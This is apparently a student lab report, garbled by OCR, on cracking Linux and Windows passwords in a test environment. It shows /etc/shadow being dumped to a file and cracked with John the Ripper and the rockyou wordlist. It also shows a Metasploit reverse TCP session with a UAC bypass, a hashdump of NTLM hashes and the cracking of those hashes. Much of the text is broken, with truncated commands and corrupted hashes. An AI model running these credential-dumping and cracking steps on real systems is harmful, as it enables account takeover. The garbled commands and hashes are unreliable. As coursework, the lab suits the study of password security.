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Task A: Linux Password Cracking

1. Inthe second image, I used the cat /etc/group command to display the groups I

added, which appear at the bottom of the list.
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3. I also created a password for the “First” user, in which I went for the simple
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: # passwd Second

sord updated successfull
# passwd Third
sword:
Retype new password:
passwd: password updated succe
: # passwd Primero
sword:
Retype new password
word updated successfully
# passwd Segundo

password123.
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# tail /etc/shadow
Debian-snmp: !:17918

stemd-coredump:
chromeuse
strongswan:+:18323:0:99999:7:::
First:$6$fKwiTtomlkPgn4eX$7r4A9uF4U20UH31d71ZCux3Q4ee3sBaCetU9IIL3Crit. jtPmwHE]N
LuUp8yW7pq1598n1mo. : 19333:0:99999:7

Second: $6$6zAXXI8EjeBrWwVuNsSybytQe5i/e8Rct/NQ7uN3pQljwePY . hL76xDfzKLI9ZpIbHVHTO6t
bANfWy . /k0Xx11571QnLGXx4TzF8d1q35. :19333:0:99999:7: :
Third:$6$8XI/ . tESqiPCBCVSymWMTOSWWWrp7isz.3UfCy9TR9. j 1ImdZQsT4i73pE6QtWr. FezkbYo
5bRQQXARj JPXFUDDZO0iIBCVY . CQtVX/:19333:0:99999:7: :
Primero:$6$vB0O1LE0ogq71Md6XV$A7eP57A]L . aQou2036 <X 8u/dBs1Gr31QgQti452e
99u93smIfCI48DCLoBPwkIOLFNTBuUafTn. :19333:0:99999:7:
Segundo: $6$hLj9YPDAZwWL4Na ] h$nEjMtWhgBPBGKH2p . KyAX/nowTPTCMOFU412cHQI0iqO.
zrafqCLhDfn31qVSVAKBNDf2jt40ESb2M. :19333:0:99999:7: : :
Tercero: $6$aNaHoZCg3Dx18U5h$CvCgZo40QyiReIADS16pHMQbWEMPVCAKNO//NS8LZcDDyd] iCbHS
gMyV9u/1j. rrqFLfLKZpQatt6dB1ENBG31:19333:0:99999:7

# tail /etc/shadow > jnava®l4-HASH
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5|bebian-5nmp: 1:17918:0:99999:7: ::
systemd-coredump:!!:17918::
chromeuser:1:17920:8:99999:7
strongswan:*:18323:08:99999:7:::
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$6$ fKwWiTtOmlKPqnaeX$7 r4A9uF4U20UH31d71ZCux304ee3sBaCetU9II3CrLt. jtPMWHE] nCI25nyHihVBT21uUp8yW7pqls
p 19333:0:99999:7:
Second: $6$GzAXXIBE]jeBrwVuN$ybytQe5i/e8Rct/NQ7uN3pQljwePY . hL76xDfzKLI9ZpIbHVHTOGtbANTWY . /
kOx1157I0nLGXx4TzF8d1lg35.:19333:0:99999:7:::
© DThird: $658XT/. 1tE5qiPCBCVSymaMTOSWWNrpTisz
3UFCy9TRI. j ImdZQsT4i73pE6QtWr. FezkbYo5bRgQxARj JPXFUDDZODiIBCvy. cQtVx/:19333:0:99999:7: ::
J2 Mprimero: $6$vB01LE0q7 1MA6XVSATEPSTA] L . 300U203693ZyaAd . XHS28HBU/
_ |dBs1G6r31Qgqti452099u9)smIfCI48DCLoBPWKIOLFNTBUATTN. :19333:0:99999:7::
0 Plsegundo: $6$hLj9YPDAZWLANE ] h$nEjMtWhgBPBGKH2p . KyAX/nowTPTCMOFU41izcHQI0iqoizs/
idwazr4afqCLhDfn31qvSvAKS8NDT2jt40E5b2M. 1 19333:0:99999:7:::
ViTercero: $6$aNaHoZCg3Dx18U5h$CvCgZo40QyiReIADBLOPHMQbWEMPYCAKNO//NSBLZCDDYd ] 1CbHSgMyVIu/
1j.rrqFLfLKZpQat t6dB1ENSG31:19333:0:99999:7: :
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root@CS2APenTest: ~
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: # cp /usr/share/wordlists/rockyou. txt
: # pud

#1s
LinuxHash rockyou. txt
jnava014-HASH
: # john jnava®l4-HASH --wordlist=rockyou.txt

Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (shaSl12crypt, crypt(3) $6$ [SHAS
12 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads

'q' or Ctrl-C to abort, almost any other key for status

d123 (First)

4 0.18% (ETA: 03:34:04) 0.02271g/s 697.8p/s 3576c/s 3570C/s !1111

password123.

Task B: Windows Password Cracking
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oit target:

Name

\Window 7 @ WINDOWS7 192.168.217.3:4444 -> 192.168.217.2:19258 (192.168.10

Started reverse TCP handler on 192.168.217.3:44
UAC is Enabled, checking le
et to Default
UAC can bypa
T Ac

the bypa
r a
2:43741) at 2022-12-87 18:57:15 -0500

Administrator:500:aad3b433b31404eeaad3bd35b51404ee: 31doctead 16ae931b73c59d720c089C0:
Alf:1003:aad3b435b51404eeaad3b435b51404ee: c22b315c040ac6e0efee3518d830362b

Benji: 1004:aad3b435b51484eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef: 1 :
[Cornelius:1005:aad3b435b51404eeaad3b435b51404ee: 91d5b3ce1eef251dff59a63f93d34b36
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73c59d7e0c089C :
HomeGroupUser$:1002: aad3b435b51404eeaad3b435b51404ee:2d79c7f57c09bad3139f56290e444b23: : :
indow 7:1000:aad3b435b51484eecaad3b435b51404ee:884677eace8fbl17add6bdd830b7586¢: : :

on CY301-JNAVADTS

Recycle Bin

&) 7[R « User Accounts and Family Sfety » User Accounts » Manage Accounts

Choose the account you would like to change

Window 7 H Alf
Administrator d Standard user
Password protected : Password protected

Benji Cornelius
Standard user Standard user
Password protected Password protected

Guest
Guest account is off

What is a user account?

Additional things you can do
@' Set up Parental Controls

Go to the main User Accounts page

Windows 7
Build 7600
copy of Windows is not genuine

] P

User accounts Alf, Benji, and Cornelius with different passwords

1. Password hashes using “hashdump” highlighted in white



2. Password hashes in jnavao14.WinHash file
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Save

Open » || E jnava014;WinHash
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Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089cO: : :
Alf:1003:aad3b435b51404eeaad3b435b51404ee: c22b315c040aebedefee3518d830362b:
Benji:1004:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef: :
Cornelius:1005:aad3b435b51404eeaad3b435b51404ee:91d5b3cel0ef251df59a63793d34b3!
Guest:501:aad3b435b51404eeaad3b435b51404¢ee:31d6cTe0d16ae931b73¢59d7€0c089cO: : :
HomeGroupUser$:1062:aad3b435b51404eeaad3b435b51404ee:2d79c7f57c09bad3139f56290e444b23: : :
Window 7:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fbl17ad06bdd830b7586¢C: = :

Mshare
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Cracked passwords for Alf, Benji, and Cornelius. I noticed that the first two
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: # john jnava@l4.WinHash
rectory: /root/.john
hash type "L»

warning: poo
Will run 2 Op
g with
'q' or Ctrl-C

d for performance.

(Benji)
(ALT)
(

DONE 2/ 123456. . CHANGEC

iably

: # john jnava®l4.WinHash --
T odin: uT
with no d
thi.

candidat
current salt mum 24 needed for performance.
T rd.1lst, r rdlist
(Window 7)
(Benji)
(ALT)
{Administrator))
(Guest)
Proceeding with incremental:ASCII
rockyou (Cornelius)

passwords were cracked right away because they're most likely the simplest
passwords. But for Cornelius, while the password is still relatively simple, it still

took a couple of extra seconds to crack it.



3. Getting ready to perform the dictionary attack.
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! MD4 Hashel | |attack stopped!
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- Plaintest of C22B3L5C040AEGEOEFEE3518D8303628 is 123456783
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